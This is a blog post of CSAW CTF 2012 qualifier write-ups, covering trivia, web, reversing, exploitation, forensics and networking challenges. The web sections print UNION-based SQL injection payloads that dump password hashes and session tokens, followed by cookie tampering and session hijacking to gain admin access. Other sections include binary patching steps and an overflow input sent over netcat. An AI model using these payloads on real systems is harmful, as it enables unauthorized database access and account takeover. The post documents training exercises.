CSAW CTF 2012 Quals: Write-ups

CSAW CTF 2012 Quals is over. As always, thanks go to my teammate Archie.
In my opinion there were too many too-easy levels. Here you have the write ups for the challenges we managed to solve:


  • Trivia1 – 100 Points

What is the first step of owning a target?

Answer: recon

  • Trivia2 – 100 Points

What is the name of the Google’s dynamic malware analysis tool for Android applications?

Answer: bouncer

  • Trivia3 – 100 Points

What is the x86 opcode for and al, 0x24? Put your answer in the form 0xFFFF.

Answer: 0x2424

  • Trivia4 – 100 Points

Who was the first security researcher to publish the DEP bypass that utilized WriteProcessMemory()?

Answer: Spencer Pratt

  • Trivia5 – 100 Points

What is the name of Microsoft’s sophisticated distributed fuzzing system that utilizes automated debugging, taint analysis, model building, and constaint solving?

Answer: SAGE


  • Web 100

Lara Anderton needs to break into PreCrime to free her husband, but they just installed a fancy new security system. Help her break into it!

This website sets two cookies when visiting it: user=Lara+Anderton and auth=0. So it looks like it’s not correctly dealing with authentication. So by changing the cookies to user=admin and auth=1 we were able to log into the website and obtain the key.

Web 200

We were presented with the following PHP source code:

    $good = true;
    $key = 'key{...}';
    $auth = false;
    $admin = false;
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $mysql->real_query('SELECT * FROM `csaw`.`users` WHERE `user` LIKE "' . $mysql->real_escape_string($_POST['user']) . '";');
        if ($mysql->errno != 0) {
        } else {
            $result = $mysql->store_result();
            while ($row = $result->fetch_assoc()) {
                if ( $_POST['pass'] == $row['pass'] ) {
                    $auth = true;
                if ( $row['user'] == 'Administrator' ) {
                    $admin = true;
        if ( $auth && $admin ) {
            echo( $key );

It’s notorious that the SQL query does not select only one row which username exactly matches the “user” parameter provided by the user; instead it uses a LIKE condition in order to select a bunch of rows that match a certain pattern.

After that it loops over the selected rows; it checks if the user-provided password matches the row’s password, and it checks if the row’s “user” value matches “Administrator”.

The problem here is that these two checks are done separately; they should be done together within a logical AND operation. So it’s possible to set $auth=true in one iteration, and $admin=true in another iteration.

So we’ve registered a new user in the website, using username=”Adminfake”, and password=”dummy”.  Then we try to log in using username=”Admin%” (note the “%” character in order to take  advantage of the LIKE condition of the SQL query), and password=”dummy”. It worked fine, so we obtained the key for this level: key{6e6a5f85aa6880aa3d4bd1f0477b149d}

Web 300

Our goal is to gain administrator access to the hilarious horse-fighting gang website.

There was an SQL injection vulnerability in the “id” parameter of the horse.php page. The used table has 4 columns.

We can dump usernames and hashed passwords from the “users” table: and 1=0 union all select 1,username,3,password from users–

Horse: administrator

Description: $2a$08$kF9H1vqa.fogHc2JwbFNweay.sgdksbiuB9f7MN5mNZgcG6y7BrFG

Horse: michael_vick

Description: $2a$08$B2fI59Zzph61LajSSgkoB.i0YJ9HH8wBobmExxqPxl/.0Zu3Tijm2

Horse: csaw_challenger

Description: $2a$08$zFI9j/fsHKKbV0UCiavNveEIIi./v8lsqiaKxTV3T3BkrBk4XvSEK

Horse: beefsister33

Description: $2a$08$AUAeUut7FjkdCMfQJUuJwulgnBLbbTc0F/njHbl3mn59IS6OyADbO

Horse: nuclear_grandma

Description: $2a$08$edsWdwf45DDC4Vb2VPiikOspNpr3ePS5VE7z3aYsuMEZyodbkHRDK

Horse: teabag_swag

Description: $2a$08$uN4sFJ73Quf/b5hC3GxXIO53ewJ0W71c2Vuh4f2x.pr3iTrChvNOK

According to the site description, passwords are stored using bcrypt, so this level probably isn’t about password cracking.

Let’s enumerate the tables of the database: and 1=0 union all SELECT 1,table_schema,3,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’–

Horse: csaw_chal1

Description: horses

Horse: csaw_chal1

Description: sessions

Horse: csaw_chal1

Description: users

The “sessions” table looks pretty promising. Now let’s enumerate the columns of every table: and 1=0 union all SELECT 1, concat(table_schema, ‘->’,table_name), 3, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

(sorry at this point, I forgot to copy the output of the SQL injection above)

Let’s enumerate all the sessions stored in the “sessions” table, using the format “session -> user_id”: and 1=0 union all SELECT 1, concat(session, ‘->’,user_id), 3, 4 FROM sessions–

Horse: bsv30irdq0PCvJxJrCAxROcmdXaUiwgQtPeg5J75EYgrH8jyHQ->1

Description: 4

Horse: hbpnEGKo2WeLvQuQL0kb8vyyOHMn96ZYAROXmBggB6Pdr0FX4p->2

Description: 4

Horse: VnRu2Zcv7REYTgHOqafggyYn3hA3cq1D9B4u4IxEcnB0TgPT4j->3

Description: 4

Horse: UkOAVJ4ZAuX1t0Hib4maJccftZVeC4TdCZ8WxhQJZKqQ9axbwc->4

Description: 4

Horse: 4gNszBZeSDjjKE5sSJwIcPOzTvhM90IR9JrqPa286tLfiDNDyp->5

Description: 4

Horse: hmmJU3LrcIO7yJ77aSOsL9YIEjKITkOLg1CE0HF6Cnsbv2J077->6

Description: 4

Horse: SL2v2sJvyu7Xw5Lc5b8UBSNFGOFhMfFrCWsgNGZZBSBfazpTlX->7

Description: 4

So now let’s see again the “users” table, this time including the “user_id” field: and 1=0 union all select 1,concat(user_id, ‘->’,username),3,password from users–

Horse: 1->administrator

Description: $2a$08$kF9H1vqa.fogHc2JwbFNweay.sgdksbiuB9f7MN5mNZgcG6y7BrFG

Horse: 2->michael_vick

Description: $2a$08$B2fI59Zzph61LajSSgkoB.i0YJ9HH8wBobmExxqPxl/.0Zu3Tijm2

Horse: 4->csaw_challenger

Description: $2a$08$zFI9j/fsHKKbV0UCiavNveEIIi./v8lsqiaKxTV3T3BkrBk4XvSEK

Horse: 5->beefsister33

Description: $2a$08$AUAeUut7FjkdCMfQJUuJwulgnBLbbTc0F/njHbl3mn59IS6OyADbO

Horse: 6->nuclear_grandma

Description: $2a$08$edsWdwf45DDC4Vb2VPiikOspNpr3ePS5VE7z3aYsuMEZyodbkHRDK

Horse: 7->teabag_swag

Description: $2a$08$uN4sFJ73Quf/b5hC3GxXIO53ewJ0W71c2Vuh4f2x.pr3iTrChvNOK

We have access as the “csaw_challenger” user, so our user_id is 4. We can also check in our browser that our cookie is UkOAVJ4ZAuX1t0Hib4maJccftZVeC4TdCZ8WxhQJZKqQ9axbwc. So we modify the cookie stored in our browser, setting as new value the session string that belongs to the administrator user, that is, bsv30irdq0PCvJxJrCAxROcmdXaUiwgQtPeg5J75EYgrH8jyHQ.

Finally we return to the homepage, and we get this message:

Welcome back, Mr. Corgi.



Reversing 100

This is a native Win32 application. It shows a MessageBox with an encrypted string, and then it just ends.

Let’s see the disassembled code:

0040107D  |.  8945 FC       MOV DWORD PTR SS:[EBP-4],EAX
00401080  |.  C645 E8 88    MOV BYTE PTR SS:[EBP-18],88
00401084  |.  C645 E9 9A    MOV BYTE PTR SS:[EBP-17],9A
00401088  |.  C645 EA 93    MOV BYTE PTR SS:[EBP-16],93
0040108C  |.  C645 EB 9C    MOV BYTE PTR SS:[EBP-15],9C
00401090  |.  C645 EC 90    MOV BYTE PTR SS:[EBP-14],90
00401094  |.  C645 ED 92    MOV BYTE PTR SS:[EBP-13],92
00401098  |.  C645 EE 9A    MOV BYTE PTR SS:[EBP-12],9A
0040109C  |.  C645 EF A0    MOV BYTE PTR SS:[EBP-11],0A0
004010A0  |.  C645 F0 8B    MOV BYTE PTR SS:[EBP-10],8B
004010A4  |.  C645 F1 90    MOV BYTE PTR SS:[EBP-F],90
004010A8  |.  C645 F2 A0    MOV BYTE PTR SS:[EBP-E],0A0
004010AC  |.  C645 F3 9C    MOV BYTE PTR SS:[EBP-D],9C
004010B0  |.  C645 F4 8C    MOV BYTE PTR SS:[EBP-C],8C
004010B4  |.  C645 F5 9E    MOV BYTE PTR SS:[EBP-B],9E
004010B8  |.  C645 F6 88    MOV BYTE PTR SS:[EBP-A],88
004010BC  |.  C645 F7 DE    MOV BYTE PTR SS:[EBP-9],0DE
004010C0  |.  C645 F8 00    MOV BYTE PTR SS:[EBP-8],0
004010C4  |.  8D45 E8       LEA EAX,DWORD PTR SS:[EBP-18]
004010C7  |.  50            PUSH EAX                                                      ; /Arg1
004010C8  |.  E8 33FFFFFF   CALL csaw2012.encrypt                                         ; \encrypt
004010CD  |.  83C4 04       ADD ESP,4
004010D0  |.  68 00304000   PUSH csaw2012.00403000                                        ; /src = "Encrypted Key:  "
004010D5  |.  8D4D A8       LEA ECX,DWORD PTR SS:[EBP-58]                                 ; |
004010D8  |.  51            PUSH ECX                                                      ; |dest
004010D9  |.  E8 8A000000   CALL csaw2012._strcpy                                         ; \_strcpy
004010DE  |.  83C4 08       ADD ESP,8
004010E1  |.  8D55 E8       LEA EDX,DWORD PTR SS:[EBP-18]
004010E4  |.  52            PUSH EDX                                                      ; /src
004010E5  |.  8D45 A8       LEA EAX,DWORD PTR SS:[EBP-58]                                 ; |
004010E8  |.  50            PUSH EAX                                                      ; |dest
004010E9  |.  E8 74000000   CALL csaw2012._strcat                                         ; \_strcat
004010EE  |.  83C4 08       ADD ESP,8
004010F1  |.  6A 00         PUSH 0                                                        ; /Style = MB_OK|MB_APPLMODAL
004010F3  |.  68 14304000   PUSH csaw2012.00403014                                        ; |Title = "Key!"
004010F8  |.  8D4D A8       LEA ECX,DWORD PTR SS:[EBP-58]                                 ; |
004010FB  |.  51            PUSH ECX                                                      ; |Text
004010FC  |.  6A 00         PUSH 0                                                        ; |hOwner = NULL
004010FE  |.  FF15 AC204000 CALL DWORD PTR DS:[<&USER32.MessageBoxA>]                     ; \MessageBoxA
00401104  |.  6A FF         PUSH -1                                                       ; /status = FFFFFFFF (-1.)
00401106  |.  FF15 A0204000 CALL DWORD PTR DS:[<&MSVCR100.exit>]                          ; \exit
0040110C  |.  8D55 E8       LEA EDX,DWORD PTR SS:[EBP-18]
0040110F  |.  52            PUSH EDX                                                      ; /Arg1
00401110  |.  E8 1BFFFFFF   CALL csaw2012.decrypt                                         ; \decrypt
00401115  |.  83C4 04       ADD ESP,4
00401118  |.  68 1C304000   PUSH csaw2012.0040301C                                        ; /src = "Decrypted Key:  "
0040111D  |.  8D45 A8       LEA EAX,DWORD PTR SS:[EBP-58]                                 ; |
00401120  |.  50            PUSH EAX                                                      ; |dest
00401121  |.  E8 42000000   CALL csaw2012._strcpy                                         ; \_strcpy
00401126  |.  83C4 08       ADD ESP,8
00401129  |.  8D4D E8       LEA ECX,DWORD PTR SS:[EBP-18]
0040112C  |.  51            PUSH ECX                                                      ; /src
0040112D  |.  8D55 A8       LEA EDX,DWORD PTR SS:[EBP-58]                                 ; |
00401130  |.  52            PUSH EDX                                                      ; |dest
00401131  |.  E8 2C000000   CALL csaw2012._strcat                                         ; \_strcat
00401136  |.  83C4 08       ADD ESP,8
00401139  |.  6A 00         PUSH 0                                                        ; /Style = MB_OK|MB_APPLMODAL
0040113B  |.  68 30304000   PUSH csaw2012.00403030                                        ; |Title = "Key!"
00401140  |.  8D45 A8       LEA EAX,DWORD PTR SS:[EBP-58]                                 ; |
00401143  |.  50            PUSH EAX                                                      ; |Text
00401144  |.  6A 00         PUSH 0                                                        ; |hOwner = NULL
00401146  |.  FF15 AC204000 CALL DWORD PTR DS:[<&USER32.MessageBoxA>]                     ; \MessageBoxA
0040114C  |.  6A 00         PUSH 0                                                        ; /status = 0
0040114E  |.  FF15 A0204000 CALL DWORD PTR DS:[<&MSVCR100.exit>]                          ; \exit

So by just nopping out the call to exit(), execution will be able to reach the call to the decrypt() function, and the decrypted key will be shown through a MessageBox. So the key for this level was: welcome_to_csaw!

Reversing 200

This one was a .NET application.  The decompiled code looked like this:

    private static byte[] encrypted = new byte[43]
      (byte) 171,
      (byte) 151,
      (byte) 154,
      (byte) 223,
      (byte) 148,
      (byte) 154,
      (byte) 134,
      (byte) 223,
      (byte) 150,
      (byte) 140,
      (byte) 223,
      (byte) 198,
      (byte) 156,
      (byte) 207,
      (byte) 198,
      (byte) 153,
      (byte) 199,
      (byte) 203,
      (byte) 206,
      (byte) 201,
      (byte) 158,
      (byte) 205,
      (byte) 205,
      (byte) 207,
      (byte) 201,
      (byte) 205,
      (byte) 205,
      (byte) 206,
      (byte) 154,
      (byte) 202,
      (byte) 207,
      (byte) 157,
      (byte) 198,
      (byte) 199,
      (byte) 154,
      (byte) 204,
      (byte) 203,
      (byte) 201,
      (byte) 207,
      (byte) 203,
      (byte) 200,
      (byte) 157,
      (byte) 200

    private static void Main(string[] args)
      Console.WriteLine("Okay, going to compute the key.  Have to remember to write it out at the end!  I keep forgetting!");
      string str = "";
      foreach (byte num in Program.encrypted)
        str = str + (object) Convert.ToChar((int) num ^ (int) byte.MaxValue);

So I’ve coded a keygen for this challenge:

encrypted = [171,151,154,223,148,154,134,223,150,140,223,198,156,207,198,153,199,203,206,201,158,205,205,207,201,205,205,206,154,202,207,157,198,199,154,204,203,201,207,203,200,157,200]

decrypted = ""
for b in encrypted:
    decrypted += chr(b ^ 255)

print decrypted

And the output of the keygen was:

>>> The key is 9c09f8416a2206221e50b98e346047b7

Reversing 300

Another .NET app here. Decompiled code of the Main() method follows:

    private static void Main(string[] args)
      Console.WriteLine("Do you really just run random binaries given to you in challenges?");
      MD5CryptoServiceProvider cryptoServiceProvider1 = new MD5CryptoServiceProvider();
      AesCryptoServiceProvider cryptoServiceProvider2 = new AesCryptoServiceProvider();
      foreach (string str in Directory.EnumerateDirectories(Program.target))
        if (Enumerable.SequenceEqual((IEnumerable) cryptoServiceProvider1.ComputeHash(Encoding.UTF8.GetBytes(str.Replace(Program.target, ""))), (IEnumerable) Program.marker))
          byte[] hash = cryptoServiceProvider1.ComputeHash(Encoding.UTF8.GetBytes("sneakyprefix" + str.Replace(Program.target, "")));
          Console.Write(Encoding.UTF7.GetString(((SymmetricAlgorithm) cryptoServiceProvider2).CreateDecryptor(hash, new byte[16]
            (byte) 0,
            (byte) 1,
            (byte) 2,
            (byte) 3,
            (byte) 4,
            (byte) 5,
            (byte) 6,
            (byte) 7,
            (byte) 8,
            (byte) 9,
            (byte) 10,
            (byte) 11,
            (byte) 12,
            (byte) 13,
            (byte) 14,
            (byte) 15
          }).TransformFinalBlock(Program.data, 0, Program.data.Length)));

Once more, it was enough to patch the MSIL code in order to NOP out the call to Environment.Exit(). After running the patched program we got the key:

That was pretty easy, wasn’t it? \key{6a6c4d43668404041e67f0a6dc0fe243}

Reversing 400

This one was a Linux x64 program. This program has an encrypted string, and a decrypt() function, which is never called. The decrypt() function just applies a bitwise NOT to every character of the string received as argument, so I wrote equivalent code in Python in order to decrypt the encrypted string:

#encrypted string
l = [0x9C, 0x8C, 0x9E, 0x88, 0x96, 0x8C, 0x8C, 0x90, 0x97, 0x9E, 0x8D, 0x9B, 0xA0, 0xA0, 0xC5, 0xD7]
print ''.join([chr(~i & 0xFF) for i in l])

The output of this tiny Python code was the key for this level: csawissohard__:(


Exploitation 200

This binary was supposed to print out the content of the “./key” file after receiving “A”*26 + “\n”:

.text:0804896A                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048972                 mov     dword ptr [esp+8], 204h ; n
.text:0804897A                 lea     eax, [ebp+buf]
.text:08048980                 mov     [esp+4], eax    ; buf
.text:08048984                 mov     eax, [ebp+fd]
.text:08048987                 mov     [esp], eax      ; fd
.text:0804898A                 call    _recv
.text:0804898F                 mov     [ebp+var_D], 0
.text:08048993                 mov     dword ptr [esp+4], offset secret ; "AAAAAAAAAAAAAAAAAAAAAAAAAA\n"
.text:0804899B                 lea     eax, [ebp+buf]
.text:080489A1                 mov     [esp], eax      ; s1
.text:080489A4                 call    _strcmp
.text:080489A9                 test    eax, eax
.text:080489AB                 jnz     short loc_80489B4
.text:080489AD                 mov     [ebp+var_C], 1
.text:080489B4 loc_80489B4:                            ; CODE XREF: handle+8Ej
.text:080489B4                 cmp     [ebp+var_C], 0
.text:080489B8                 jz      loc_8048A41
.text:080489BE                 mov     edx, offset modes ; "r"
.text:080489C3                 mov     eax, offset filename ; "./key"
.text:080489C8                 mov     [esp+4], edx    ; modes
.text:080489CC                 mov     [esp], eax      ; filename
.text:080489CF                 call    _fopen

Sending “A” * 26 + “\n” worked fine while testing it on localhost; however, I failed when sending it to the remote service. So I sent it a lot of “A”s:

sherminator@sherminator:~/Desktop$ nc 54321
Wecome to my first CS project.


So the response from the remote service included the key, that is, b3ee1f0fff06f0945d7bb018a8e85127. Looks like it got intimidated by the huge amount of “A”s. Who knows.


Forensics 500

The provided file was a core dump for a Linux x64 program. I loaded it on IDA, took a look at the strings, and the key was there:

LOAD:0000000001D6D010 00000035 C k3y{this_should_be_pretty_hard_unless_you_use_grep}\n

So the key for this extremely easy level was: this_should_be_pretty_hard_unless_you_use_grep.


Networking 100

We were provided with a .pcap file named telnet.pcap. After loading it in Wireshark we can see a telnet session capture. We can see that someone is logging into via telnet using credentials csaw:welcome to 1969. So the key for this level was: welcome to 1969.

Networking 200

This level was about getting the password for a party at a bar in New York. We were provided with a .pcap file. I’ve filtered the packets in order to show just HTTP traffic. Among all the HTTP traffic I’ve found an interesting request:

GET /parties-events/ HTTP/1.1
Host: www.taproom307.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.14 (KHTML, like Gecko) Version/6.0.1 Safari/536.26.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0CCIQFjAA&url=http%3A%2F%2Fwww.taproom307.com%2Fparties-events%2F&ei=-EdeUM3mIIHN0AGD-oGYDw&usg=AFQjCNGFcEznaFglIBsYAzT28fTn5cLyTw
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: keep-alive

taproom307.com is the website of a New York bar. Looking for more requests to this website, and paying special attention to POST requests that may include juicy information, we find this request:

POST /parties-events/ HTTP/1.1
Host: www.taproom307.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.14 (KHTML, like Gecko) Version/6.0.1 Safari/536.26.14
Content-Length: 577
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://www.taproom307.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.taproom307.com/parties-events/
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=bab14cb80c29f2d5ffaa723a842d4166
Connection: keep-alive


So the key for this level was: brooklyn beat box.


One thought on “CSAW CTF 2012 Quals: Write-ups

  1. Hi ! I would like to know how did u patch the .NET code for the RE300 ??
    I use Reflector to decompile the code and there is no features to patch code

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s